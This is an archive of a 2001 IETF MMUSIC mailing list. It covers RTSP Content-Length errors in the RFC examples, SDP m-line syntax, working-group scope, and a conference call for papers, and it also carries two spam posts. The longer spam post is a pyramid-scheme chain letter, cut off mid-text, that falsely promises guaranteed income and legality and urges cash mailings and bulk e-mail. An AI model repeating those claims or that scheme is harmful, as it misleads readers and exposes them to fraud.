The submission must be received by October 15 2001.



From confctrl-owner  Mon Sep 24 09:10:38 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA28173
	for confctrl-outgoing; Mon, 24 Sep 2001 09:10:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA28168
	for <confctrl@zephyr.isi.edu>; Mon, 24 Sep 2001 09:10:37 -0700 (PDT)
Received: from prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8OGAov21786
	for <confctrl@ISI.EDU>; Mon, 24 Sep 2001 09:10:50 -0700 (PDT)
Received: from jeffa-laptop.real.com ([172.23.106.160])
	by prognet.com (8.9.2/8.9.0) with ESMTP id JAA11207;
	Mon, 24 Sep 2001 09:10:46 -0700 (PDT)
Message-Id: <4.3.2.7.2.20010924085854.02be3610@mail.real.com>
X-Sender: jeffa@mail.real.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 24 Sep 2001 09:10:09 -0700
To: Faerber Tobias ICM MP PO8 RD MCH83 <Tobias.Faerber@mch.siemens.de>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
From: Jeff Ayars <jeffa@real.com>
Subject: Re: Question on RTSP: how to determin Content-Length for an
  entity ?
In-Reply-To: <07B0CDE3B76AD31190F700508B5D5D1DAA279B@mchg9eba.mchh.sieme
 ns.de>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is an error in the example.  Content-Length should be just as in HTTP 
and define the size of the content portion of the method.  You may find 
other examples that seem to be off in the text as the draft version of SDP 
that was used at the time specified LF as the line delimiter, not 
CRLF.  It's likely a case of making more complete SDP examples over time 
while not updating the Content-Length header.

I added it to the bugs (464462) listed at 
http://sourceforge.net/projects/rtspspec/

JEff

At 12:56 PM 9/24/2001 +0200, Faerber Tobias ICM MP PO8 RD MCH83 wrote:
>in RTSP protocol (RFC2326) I find for the Content-Length determination with
>hint to HTTP protocol that the Content-Lengh is the decimal number of
>octets, so for me this means it is the number of chars, but in all examples
>(like the one below,which I copied from RTSP 14.5) this number doeas not
>match: In this case here they write "44", but if you count (together with
>CRLF) you alway get to a much higher number. (I countet it eg.: "abc def"
>for me is 7 for the length, so can anybody tell me how this has to be
>counted ?)
>
>M-C:
>RTSP/1.0 200 1 OK
>Content-type: application/sdp
>Content-Length: 44
>
>v=0
>o=- 2890844526 2890842807 IN IP4 192.16.24.202
>s=RTSP Session i=See above t=0 0
>m=audio 0 RTP/AVP 0
>
>C-M:
>SETUP rtsp://server.example.com/demo/548/sound RTSP/1.0 CSeq: 2
>Transport: RTP/AVP;multicast;destination=225.219.201
>..............................
>----------------------------------------------------------------------------
>-------
> > Faerber Tobias                Siemens AG
>ICM MP PO8 RD MCH83     Information and Communication Mobile
>
> > Tel:  +49 89 722 58578        Grillparzerstrasse 10 a
> > mobile:  +49 175 5721351      81675 Munich, Germany
> > Fax:  +49 89 722 59070
>mailto:tobias.faerber@mch.siemens.de
>----------------------------------------------------------------------------
>-------



From confctrl-owner  Mon Sep 24 09:32:35 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA00123
	for confctrl-outgoing; Mon, 24 Sep 2001 09:32:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA00117
	for <confctrl@zephyr.isi.edu>; Mon, 24 Sep 2001 09:32:34 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8OGWev03753;
	Mon, 24 Sep 2001 09:32:41 -0700 (PDT)
Received: from madrid.ericsson.se (madrid.es.eu.ericsson.se [164.48.87.150])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with SMTP id f8OGWcv04889;
	Mon, 24 Sep 2001 18:32:39 +0200 (MEST)
Received: from lmf.ericsson.se by madrid.ericsson.se (SMI-8.6/SMI-SVR4)
	id SAA07539; Mon, 24 Sep 2001 18:32:29 +0200
Message-ID: <3BAF6435.523177DB@lmf.ericsson.se>
Date: Mon, 24 Sep 2001 19:49:57 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>, sip <sip@lists.bell-labs.com>,
        Colin Perkins <csp@ISI.EDU>
Subject: Transport and ftm list in m lines
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello Colin,

SIP user agent servers set the port to zero when they want to refuse an
"m" line.

For example: m=video 0 RTP/AVP 31

However, we do not really need "RTP/AVP 31", because the stream is being
refused. That is, it will never be established. Therefore, we might want
to respond with an m line as follows:

m=video 0

Is this legal in SDP/SDPnew? Would this break any implementation?

Regards,

Gonzalo
-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Mon Sep 24 09:46:54 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA01822
	for confctrl-outgoing; Mon, 24 Sep 2001 09:46:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA01815
	for <confctrl@zephyr.isi.edu>; Mon, 24 Sep 2001 09:46:53 -0700 (PDT)
Received: from chiron.nge.isi.edu (chiron.nge.isi.edu [65.114.169.204])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8OGl5v13383
	for <confctrl@ISI.EDU>; Mon, 24 Sep 2001 09:47:06 -0700 (PDT)
Received: from chiron (csp@localhost)
	by chiron.nge.isi.edu (8.11.6/8.11.6) with ESMTP id f8OGl1126756;
	Mon, 24 Sep 2001 12:47:01 -0400
Message-Id: <200109241647.f8OGl1126756@chiron.nge.isi.edu>
To: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
cc: mmusic <confctrl@ISI.EDU>, sip <sip@lists.bell-labs.com>
Subject: Re: Transport and ftm list in m lines 
In-Reply-To: Your message of "Mon, 24 Sep 2001 19:49:57 +0300."
             <3BAF6435.523177DB@lmf.ericsson.se> 
Date: Mon, 24 Sep 2001 12:47:01 -0400
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I don't believe this is legal in SDP.
Colin



--> Gonzalo Camarillo writes:
>Hello Colin,
>
>SIP user agent servers set the port to zero when they want to refuse an
>"m" line.
>
>For example: m=video 0 RTP/AVP 31
>
>However, we do not really need "RTP/AVP 31", because the stream is being
>refused. That is, it will never be established. Therefore, we might want
>to respond with an m line as follows:
>
>m=video 0
>
>Is this legal in SDP/SDPnew? Would this break any implementation?
>
>Regards,
>
>Gonzalo
>-- 
>Gonzalo Camarillo                    Phone :   +1 212 939 71 71
>Columbia University                  Mobile:  +358 40 702 35 35
>472 Computer Science Building        Fax   :  +358  9 299 30 52
>1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
>New York, NY 10027                   
>USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Mon Sep 24 21:12:22 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA14956
	for confctrl-outgoing; Mon, 24 Sep 2001 21:12:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA14951
	for <confctrl@zephyr.isi.edu>; Mon, 24 Sep 2001 21:12:21 -0700 (PDT)
Received: from purple.nge.isi.edu ([65.114.168.32])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8P4CYv20876
	for <confctrl@isi.edu>; Mon, 24 Sep 2001 21:12:34 -0700 (PDT)
Received: from purple.nge.isi.edu (localhost [127.0.0.1])
	by purple.nge.isi.edu (8.11.6/8.11.6) with ESMTP id f8P4CR905812;
	Tue, 25 Sep 2001 00:12:27 -0400
Message-Id: <200109250412.f8P4CR905812@purple.nge.isi.edu>
To: huitema@microsoft.com
Subject: draft-ietf-mmusic-natreq4udp-00.txt
cc: confctrl@ISI.EDU, jo@tzi.de
Date: Tue, 25 Sep 2001 00:12:26 -0400
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christian (and the MMUSIC working group),

Our area directors have informed us that draft-ietf-mmusic-natreq4udp-00.txt
(Short term NAT requirements for UDP based peer-to-peer applications) is
outside the scope of the MMUSIC charter, and hence cannot be processed as
an MMUSIC draft. 

They suggest that is is re-issued as an individual submission.

Colin

From confctrl-owner  Thu Sep 27 10:49:54 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA09464
	for confctrl-outgoing; Thu, 27 Sep 2001 10:49:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA09458
	for <confctrl@zephyr.isi.edu>; Thu, 27 Sep 2001 10:49:53 -0700 (PDT)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f8RHo7v05668
	for <confctrl@isi.edu>; Thu, 27 Sep 2001 10:50:07 -0700 (PDT)
Received: from usw-sf-web1-b.sourceforge.net ([10.3.1.5] helo=usw-sf-web1.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 15mfIS-0001Ea-00; Thu, 27 Sep 2001 10:50:04 -0700
Received: from nobody by usw-sf-web1.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 15lYID-0006P7-00; Mon, 24 Sep 2001 09:09:13 -0700
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-464462 ] Content-Length header wrong in examples
Message-Id: <E15lYID-0006P7-00@usw-sf-web1.sourceforge.net>
Date: Mon, 24 Sep 2001 09:09:13 -0700
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #464462, was opened at 2001-09-24 09:09
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=464462&group_id=23194

Category: General
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Nobody/Anonymous (nobody)
Assigned to: Rob Lanphier (robla)
Summary: Content-Length header wrong in examples

Initial Comment:
In most of the examples the Content-Length header is not the right value for the actual content of the header.

like the one below,which I copied from RTSP 14.5, this number doeas not match: In this case here they write "44", but if you count (together with CRLF, or even just LF) 103 chars + 8 for CRLF or 4 for just LF.

M-C: 
RTSP/1.0 200 1 OK 
Content-type: application/sdp 
Content-Length: 44 

v=0 
o=- 2890844526 2890842807 IN IP4 192.16.24.202 
s=RTSP Session i=See above t=0 0
m=audio 0 RTP/AVP 0 

C-M: 
SETUP rtsp://server.example.com/demo/548/sound RTSP/1.0 CSeq: 2 
Transport: RTP/AVP;multicast;destination=225.219.201
..............................


----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=464462&group_id=23194

From confctrl-owner  Mon Oct  1 07:21:41 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA20134
	for confctrl-outgoing; Mon, 1 Oct 2001 07:21:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA20121
	for <confctrl@zephyr.isi.edu>; Mon, 1 Oct 2001 07:21:39 -0700 (PDT)
Received: from pc7143.unige.ch (pc7143.unige.ch [129.194.71.43])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f91ELov22388
	for <confctrl@isi.edu>; Mon, 1 Oct 2001 07:21:51 -0700 (PDT)
Received: from localhost ([127.0.0.1] helo=pc7143.unige.ch)
	by pc7143.unige.ch with esmtp (Exim 3.12 #1 (Debian))
	id 15o45H-0006ML-00
	for <confctrl@isi.edu>; Mon, 01 Oct 2001 16:30:15 +0200
From: info@icme02.epfl.ch
To: confctrl@ISI.EDU
Date: Mon Oct  1 16:30:14 2001
Subject: CALL FOR PAPERS: IEEE ICME 2002, Int.Conf.MM & Expo
Message-Id: <E15o45H-0006ML-00@pc7143.unige.ch>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Apologies for any duplication of this announcement
_____________________________________________

CALL FOR PAPERS: ICME 2002
IEEE International Conference on Multimedia and Expo

Swiss Federal Institute of Technology,
EPFL, Lausanne, Switzerland
August 26-29 2002

GOALS OF THE CONFERENCE

International Conference on Multimedia & Expo (ICME) is a major annual 
international conference organized with the objective of bringing together 
researchers, developers and practitioners from academia and industry 
working in all areas of  multimedia. ICME serves as a forum for the
dissemination of state-of-the-art research, development, and implementations 
of multimedia systems, technologies and applications. 

Co-sponsored by four IEEE societies (the Circuits and Systems Society, 
the Communications Society, the Computer Society and the Signal Processing 
Society) the third edition of ICME will be held in Lausanne, Switzerland.

INSTRUCTIONS AND TOPICS

Authors should submit a four-page manuscript in double-column format 
including authors' names, affiliations and a short abstract. Only electronic 
submission will be accepted. A sample of the papers presented at the 
conference will be selected for a possible publication in an upcoming 
special issue of IEEE Transactions on Multimedia. Topics covered include 
but are not limited to the following:

* Audio, image and/or video processing
* Components and technologies for multimedia systems
* Human-machine interface and interaction
* Multimedia applications
* Multimedia hardware architectures
* Multimedia communication and networking
* Multimedia computing systems
* Multimedia content access and distribution
* Multimedia databases
* Signal processing for media integration
* Standards (e.g., MPEG) and related issues
* System integration, integration of art and technologies
* Virtual reality and computer graphics
* Watermarking and security

CONFERENCE WEB SITE AND CONTACT

Web: http://www.icme2002.org
Contact: info@icme02.epfl.ch

SPECIAL SESSIONS, TUTORIALS, DEMO/EXHIBITS

Proposals for Special Sessions, Tutorials and Demo/Exhibits are also 
strongly encouraged. Authors are referred to the ICME website to additional 
information regarding submissions.

IMPORTANT DATES

Special Session Proposal Due            December 1, 2001
Regular Papers Submission Due           February 15, 2002
Tutorial Proposal Due                   March 1, 2002
Demo/Exhibit Proposal Due               May 1, 2002


Thierry Pun, Univ. of Geneva, Switzerland
Jean-Luc Dugelay, Eurecom, France
ICME Publicity co-Chairs


PS: feel free to distribute!

-----------------------------------------------------------------------
To subscribe the ICME 2002 information mailing list, 
e-mail icme2002-request@ltssg3.epfl.ch with "subscribe" in the body. 
-----------------------------------------------------------------------



From confctrl-owner  Tue Oct  2 08:14:12 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA03650
	for confctrl-outgoing; Tue, 2 Oct 2001 08:14:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA03645
	for <confctrl@zephyr.isi.edu>; Tue, 2 Oct 2001 08:14:11 -0700 (PDT)
Received: from modusnovus3 ([63.124.247.216])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id f92FERv21960
	for <confctrl@isi.edu>; Tue, 2 Oct 2001 08:14:27 -0700 (PDT)
Message-Id: <200110021514.f92FERv21960@tnt.isi.edu>
From: "Aaron" <amg_man@yahoo.com>
To: <confctrl@ISI.EDU>
Subject: www.iwannawork4u.com   SAP professionals
Mime-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
Date: Tue, 2 Oct 2001 11:14:12
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Modus Novus Inc. is a small staffing firm based out of Westminster, Maryland.

In today's economy companies need to maintain and hire qualified employees while at the 
same time cutting costs.

Modus Novus Inc is the solution to your SAP needs.  We offer quality employees at quality 
rates.

Our normal fee for full time placements is 15% of the first years salary.  Compare this to other 
companies.  Most companies charge 20%-30% for full time placements.  

Saving 5-10% equates to saving $4,000 to $8,000 on average per placement.  With Modus 
Novus you will not have to sacrifice quality to save money.

All recruiters at Modus Novus have over 4 years of industry experience.  All recruiters go 
through monthly training to stay current with the changing technology.

For contract employees we charge a minimal hourly fee.  We also offer discounts for 
multiple positions.

Modus Novus can assist you with all of your SAP needs.  

Visit our new website today and view some of our available SAP consultants.  You can 
register at our site for free and post open positions for Modus Novus to assist you with.  

www.iwannawork4u.com  



Aaron Grollman
Director of Recruiting
Modus Novus Inc.
79 East Main Street Suite 207
Westminster, Maryland 21157

(410)848-2100 ext-104
recruiter@modus-novus.com


Call Modus Novus today and    ...pass the future

From confctrl-owner  Wed Oct  3 01:44:23 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA27761
	for confctrl-outgoing; Wed, 3 Oct 2001 01:44:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA27755
	for <confctrl@zephyr.isi.edu>; Wed, 3 Oct 2001 01:44:22 -0700 (PDT)
Received: from tnt.isi.edu ([65.113.239.43])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id f938ibv03006
	for <confctrl@isi.edu>; Wed, 3 Oct 2001 01:44:37 -0700 (PDT)
Message-Id: <200110030844.f938ibv03006@tnt.isi.edu>
From: "President of Vallke Solutions - Velius D'Unnero" <velius@marhost.com>
Date: Wed, 03 Oct 2001 01:44:21
To: confctrl@ISI.EDU
Subject: Once in a lifetime chance, please read.
MIME-Version: 1.0
Content-Type: text/plain;charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

WORK AT HOME USING YOUR COMPUTER!!! 

_________________________________________________________________ 

Dear Friend, 

You can earn $46,000 or more in next the 90 days sending e-mail. 
Seem impossible? Read on for details (no, there is no "catch")... 

_________________________________________________________________________ 



"AS SEEN ON NATIONAL T.V." 

Thank you for your time and Interest. 


This is the letter you've been reading about in the news lately. 

Due to the popularity of this letter on the internet, a major nightly news 
program recently devoted an entire show to the investigation of the program 
described below, to see if it really can make people money. 

The show also investigated whether or not the program was legal. Their 
findings proved once and for all that there are, absolutely no laws 
prohibiting the participation in the program. This has helped to show 
people that this is a simple, harmless and fun way to make some extra money 
at home. 

The results of this show has been truly remarkable. So many people are 
participating that those involved are doing, much better than ever before. 
Since everyone makes more as more people try it out, its been very exciting 
to be a part of lately. You will understand once you experience it. 

"HERE IT IS BELOW" 

_________________________________________________________________________ 
_________________________________________________________________________ 

*** Print This Now For Future Reference *** 

The following income opportunity is one you may be interested in taking a 
look at. It can be started with VERY LITTLE investment and the income 
return is TREMENDOUS!!! 

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 

If you would like to make at least $46,000 in less than 90 days! Please 
read the enclosed program...THEN READ IT AGAIN!!! 

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require 
you to come into contact with people, do any hard work, and best of all, 
you never have to leave the house except to get the mail. If you believe 
that someday you'll get that big break that you've been waiting for, THIS 
IS IT! Simply follow the instructions, and your dreams will come true. 


This multi-level e-mail order marketing program works perfectly...100\% 
EVERY TIME. E-mail is the sales tool of the future. Take advantage of this 
non-commercialized method of advertising NOW!!! The longer you wait, the 
more people will be doing business using e-mail. Get your piece of this 
action!!! 


MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is being 
taught in the Harvard Business School, and both Stanford Research and the 
Wall Street Journal have stated that between 50\% and 65\% of all goods and 
services will be sold through multi-level methods by the mid to late 1990's. 


This is a Multi-Billion Dollar industry and of the 3,500,000 millionaires 
in the WORLD, 20\% ( 700,000) made their fortune in the last several years 
in MLM. Moreover, statistics show that over 100 people become millionaires 
everyday through Multi-Level Marketing. 

You may have heard this story before, but over the summer Donald Trump (A 
MULTI-BILLIONAIRE, ONE OF THE WEALTHIEST MEN IN THE WORLD) made an 
appearance on the David Letterman show. Dave asked him what he would do if 
he lost everything and had to start over from scratch. Without hesitating, 
Trump said he would find a good network marketing company and get to work. 
The audience started to hoot and boo him. He looked out at the audience and 
dead-panned his response "That's why I'm sitting up here and you are all 
sitting out there!" 

With network marketing you have two sources of income. Direct commissions 
from sales you make yourself and commissions from sales made by people you 
introduce to the business. 

Residual income is the secret of the wealthy. It means investing time or 
money once and getting paid again and again and again. In network 
marketing, it also means getting paid for the work of others. 

This program is currently being utilized in more than 50 different 
countries across the world. 

The enclosed INF0RMATION is something I almost let slip through my fingers. 
Fortunately, sometime later I re-read everything and gave some thought and 
study to it. 

My name is Johnathon Rourke. Two years ago, the corporation I worked at for 
the past twelve years down-sized and my position was eliminated. After 
unproductive job interviews, I decided to open my own business. Over the 
past year, I incurred many unforeseen financial problems. I owed my family, 
friends and creditors over $35,000. The economy was taking a toll on my 
business and I just couldn't seem to make ends meet. I had to refinance and 
borrow against my home to support my family and struggling business. AT 
THAT MOMENT something significant happened in my life and I am writing to 
share the experience in hopes that this will change your life FOREVER 
FINANCIALLY!!! 

In mid December, I received this program via e-mail. Six month's prior to 
receiving this program I had been sending away for INF0RMATION on various 
business opportunities. All of the programs I received, in my opinion, were 
not cost effective. They were either too difficult for me to comprehend or 
the initial investment was too much for me to risk to see if they would 
work or not. One claimed that I would make a million dollars in one 
year...it didn't tell me I'd have to write a book to make it! 

But like I was saying, in December of 1997 I received this program. I 
didn't send for it, or ask for it, they just got my name off a mailing 
list. THANK GOODNESS FOR THAT!!! After reading it several times, to make 
sure I was reading it correctly, I couldn't believe my eyes. Here was a 
MONEY MAKING PHENOMENON. I could invest as much as I wanted to start, 
without putting me further into debt. After I got a pencil and paper and 
figured it out, I would at least get my money back. But like most of you I 
was still a little skeptical and a little worried about the legal aspects 
of it all. So I checked it out with the U.S. Post Office (1-800-725-2161 
24-hrs) and they confirmed that it is indeed legal! After determining the 
program was LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT." 

Initially I sent out 100,000 e-mails. It cost me about $15 for my time 
on-line. The great thing about e-mail is that I don't need any money for 
printing to send out the program, and because all of my orders are 
fulfilled via e-mail, the only expense is my time. I am telling you like it 
is, I hope it doesn't turn you off, but I promised myself that I would not 
"rip-off" anyone, no matter how much money it cost me. 

In less than one week, I was starting to receive orders for REPORT #1. By 
January 13, I had received 26 orders for REPORT #1. Your goal is to 
"RECEIVE at least 20 ORDERS FOR REPORT #1 WITHIN 2 WEEKS. IF YOU DON'T, 
SEND OUT MORE PROGRAMS UNTIL YOU DO!" My first step in making $46,000 in 90 
days was done. 


By January 30, I had received 196 orders for REPORT #2. Your goal is to 
"RECEIVE AT LEAST 100+ ORDERS FOR REPORT #2 WITHIN 2 WEEKS. IF NOT, SEND 
OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, 
RELAX, YOU WILL MAKE YOUR $46,000 GOAL." Well, I had 196 orders for 
REPORT #2, 96 more than I needed. So I sat back and relaxed. 


By March 1, of my e-mailing of 100,000, I received $42,000 with more coming 
in every day. 

I paid off ALL my debts and bought a much needed new car. Please take time 
to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!!! Remember, 
it won't work if you don't try it. This program does work, but you must 
follow it EXACTLY! Especially the rules of not trying to place your name in 
a different place. It won't work, you'll lose out on a lot of money! In 
order for this program to work, you must meet your goal of 20+ orders for 
REPORT #1, and 100+ orders for REPORT #2 and you will make $46,000 or more 
in 90 days. I AM LIVING PROOF THAT IT WORKS!!! 

If you choose not to participate in this program, I am sorry. It really is 
a great opportunity with little cost or risk to you. If you choose to 
participate, follow the program and you will be on your way to financial 
security. 

If you are a fellow business owner and are if financial trouble like I was, 
or you want to start your own business, consider this a sign. I DID! 

Sincerely, 

Johnathon Rourke 


A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM: 

By the time you have read the enclosed program and reports, you should have 
concluded that such a program, and one that is legal, could not have been 
created by an amateur. 


Let me tell you a little about myself. I had a profitable business for 10 
years. Then in 1979 my business began falling off. I was doing the same 
things that were previously successful for me, but it wasn't working. 
Finally, I figured it out. It wasn't me, it was the economy. Inflation and 
recession had replaced the stable economy that had been with us since 1945. 
I don't have to tell you what happened to the unemployment rate... because 
many of you know from first hand experience. There were more failures and 
bankruptcies than ever before. 

The middle class was vanishing. Those who knew what they were doing 
invested wisely and moved up. Those who did not, including those who never 
had anything to save or invest, were moving down into the ranks of the 
poor. As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER." 
The traditional methods of making money will never allow you to "move up" 
or "get rich", inflation will see to that. 

You have just received INF0RMATION that can give you financial freedom for 
the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT." 
You can make more money in the next few months than you have ever 
imagined. 

I should also point out that I will not see a penny of this money, nor 
anyone else who has provided a testimonial for this program. I have already 
made over 4 MILLION DOLLARS! I have retired from the program after sending 
out over 1,600,000 programs. Now I have several offices that make this and 
several other programs here and over seas. 

Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It 
works exceedingly well as it is now. Remember to e-mail a copy of this 
exciting report to everyone you can think of. One of the people you send 
this to may send out 100,000 or more...and your name will be on everyone of 
them! Remember though, the more you send out the more potential customers 
you will reach. 

So my friend, I have given you the ideas, INF0RMATION, materials and 
opportunity to become financially independent, IT IS UP TO YOU NOW! 

"THINK ABOUT IT" 


Before you delete this program from your mailbox, as I almost did, take a 
little time to read it and REALLY THINK ABOUT IT. Get a pencil and figure 
out what could happen when YOU participate. Figure out the worst possible 
response and no matter how you calculate it, you will still make lot of 
money! You will definitely get back what you invested. Any doubts you have 
will vanish when your first orders come in. IT WORKS! 
Jody Jacobs, Richmond, VA 

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU THOUSANDS OF DOLLAR$ 

INSTRUCTIONS: 

This method of raising capital REALLY WORKS 100% EVERY TIME. I am sure that 
you could use up to $46,000 or more in the next 90 days. Before you say 
"BULL... ", please read this program carefully. This is not a chain letter, 
but a perfectly legal money making opportunity. Basically, this is what you 
do: 

As with all multi-level businesses, we build our business by recruiting new 
partners and selling our products. Because of the global nature of the 
internet, you will be able to recruit new multi-level business partners 
from all over the world, and we offer a product for EVERY dollar sent. YOUR 
ORDERS COME BY MAIL AND ARE FILLED BY E-MAIL, so you are not involved in 
personal selling. You do it privately in your own home, store or office. 
This is the GREATEST Multi-Level Mail Order Marketing anywhere. 

This is what you MUST do: 

1. Order all 5 reports shown on the list below 
(you can't sell them if you don't order them). 

a. For each report, send $5.00 CASH, the NAME & NUMBER OF THE REPORT YOU 
ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR NAME & RETURN ADDRESS (in case 
of a problem) to the person whose name appears on the list next to the 
report. 
MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE IN CASE OF ANY MAIL 
PROBLEMS! 

b. When you place your order, make sure you order each of the five reports. 
You will need all five reports so that you can save them on your computer 
and resell them. 

c. Within a few days you will receive, via e-mail, each of the five 
reports. Save them on your computer so they will be accessible for you to 
send to the 1,000's of people who will order them from you. 

2. IMPORTANT-- DO NOT alter the names of the people who are listed next to 
each report, or their sequence on the list, in any way other than is 
instructed below in steps "a" through "g" or you will lose out on the 
majority of your profits. Once you understand the way this works, you'll 
also see how it doesn't work if you change it. Remember, this method has 
been tested, and if you alter it, it will not work. 

a. Look below for the listing of available reports. 

b. After you've ordered the five reports, take this advertisement and 
REM0VE the name and address under REPORT #5. This person has made it 
through the cycle and is no doubt counting their $46,000! Also, change the 
name of the company, the address, and the REM0VE e-mail address on the top 
of this document to your own. 

c. Move the name and address under REPORT #4 down to REPORT #5. 

d. Move the name and address under REPORT #3 down to REPORT #4. 

e. Move the name and address under REPORT #2 down to REPORT #3. 

f. Move the name and address under REPORT #1 down to REPORT #2. 

g. Insert your name/address in the REPORT #1 position. 

Please make sure you copy every name and address ACCURATELY! 

3. Take this entire letter, including the modified list of names, and save 
it to your computer. Make NO changes to the instruction portion of this 
letter. 

Your cost to participate in this is practically nothing (surely you can 
afford $25). You obviously already have an Internet connection and e-mail 
is FREE! 

To assist you with marketing your business on the internet, the 5 reports 
you purchase will provide you with invaluable marketing INF0RMATION which 
includes how to send bulk e-mails, where to find thousands of free 
classified ads and much, much more. 

In addition you will be provided with INF0MATION on Internet Marketing 
Clubs such as INTERNET MARKETING RESOURCES(IMR): This is one the premiere 
internet marketing clubs on the INTERNET. This club provides a forum where 
internet marketers from all over the world can exchange ideas and secrets 
on Internet Marketing. In addition, members of this club are provided free 
internet marketing tools and services for the Do-Yourself-Internet-Marketer. 

They will provide you with free bulk e-mail software and up to 1,000,000 
fresh e-mail addresses each week. This club will provide you with hundreds 
of free resources which include: How to obtain free web sites, how to 
obtain top rankings in search engines for your web-site, how to send bulk 
e-mail into AOL and Compuserve, how to market your products on newsgroups, 
